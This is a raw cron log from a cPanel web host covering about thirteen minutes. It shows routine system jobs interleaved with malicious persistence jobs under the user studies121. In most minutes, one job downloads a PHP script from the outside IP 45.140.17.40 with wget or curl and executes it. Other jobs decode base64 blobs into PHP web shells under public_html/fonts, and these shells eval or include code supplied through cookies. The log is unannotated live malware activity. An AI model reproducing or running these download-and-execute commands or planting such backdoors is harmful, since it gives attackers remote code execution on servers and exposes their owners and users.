Sep  8 06:36:01 ip-184-168-122-23 CROND[29049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:36:01 ip-184-168-122-23 CROND[29050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:36:01 ip-184-168-122-23 CROND[29052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:37:01 ip-184-168-122-23 CROND[29219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:37:01 ip-184-168-122-23 CROND[29220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:37:01 ip-184-168-122-23 CROND[29221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:37:01 ip-184-168-122-23 CROND[29222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:38:01 ip-184-168-122-23 CROND[29353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:38:01 ip-184-168-122-23 CROND[29355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:38:01 ip-184-168-122-23 CROND[29358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:38:01 ip-184-168-122-23 CROND[29357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:38:01 ip-184-168-122-23 CROND[29356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:39:02 ip-184-168-122-23 CROND[29584]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 06:39:02 ip-184-168-122-23 CROND[29583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:39:02 ip-184-168-122-23 CROND[29587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:39:02 ip-184-168-122-23 CROND[29588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:39:02 ip-184-168-122-23 CROND[29586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:40:01 ip-184-168-122-23 CROND[29740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:40:01 ip-184-168-122-23 CROND[29742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:40:01 ip-184-168-122-23 CROND[29745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:40:01 ip-184-168-122-23 CROND[29748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:40:01 ip-184-168-122-23 CROND[29750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:40:01 ip-184-168-122-23 CROND[29747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:40:01 ip-184-168-122-23 CROND[29746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:40:01 ip-184-168-122-23 CROND[29749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:41:01 ip-184-168-122-23 CROND[29861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:41:01 ip-184-168-122-23 CROND[29862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:41:01 ip-184-168-122-23 CROND[29863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:41:01 ip-184-168-122-23 CROND[29866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:42:01 ip-184-168-122-23 CROND[29991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:42:01 ip-184-168-122-23 CROND[29993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:42:01 ip-184-168-122-23 CROND[29994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:42:01 ip-184-168-122-23 CROND[29995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:42:01 ip-184-168-122-23 CROND[29996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:43:01 ip-184-168-122-23 CROND[30122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:43:01 ip-184-168-122-23 CROND[30124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:43:01 ip-184-168-122-23 CROND[30126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:43:01 ip-184-168-122-23 CROND[30129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:44:01 ip-184-168-122-23 CROND[30247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:44:01 ip-184-168-122-23 CROND[30249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:44:01 ip-184-168-122-23 CROND[30250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:44:01 ip-184-168-122-23 CROND[30251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:44:01 ip-184-168-122-23 CROND[30252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:45:01 ip-184-168-122-23 CROND[30468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:45:01 ip-184-168-122-23 CROND[30470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:45:01 ip-184-168-122-23 CROND[30469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:45:01 ip-184-168-122-23 CROND[30467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:45:01 ip-184-168-122-23 CROND[30471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:45:01 ip-184-168-122-23 CROND[30472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:46:02 ip-184-168-122-23 CROND[30597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:46:02 ip-184-168-122-23 CROND[30598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:46:02 ip-184-168-122-23 CROND[30600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:46:02 ip-184-168-122-23 CROND[30602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:46:02 ip-184-168-122-23 CROND[30603]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 06:46:02 ip-184-168-122-23 CROND[30605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:46:02 ip-184-168-122-23 CROND[30606]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:47:01 ip-184-168-122-23 CROND[30733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:47:01 ip-184-168-122-23 CROND[30735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:47:01 ip-184-168-122-23 CROND[30736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:47:01 ip-184-168-122-23 CROND[30740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:48:01 ip-184-168-122-23 CROND[30867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:48:01 ip-184-168-122-23 CROND[30869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:48:01 ip-184-168-122-23 CROND[30870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:48:01 ip-184-168-122-23 CROND[30872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:48:01 ip-184-168-122-23 CROND[30871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:49:01 ip-184-168-122-23 CROND[30996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
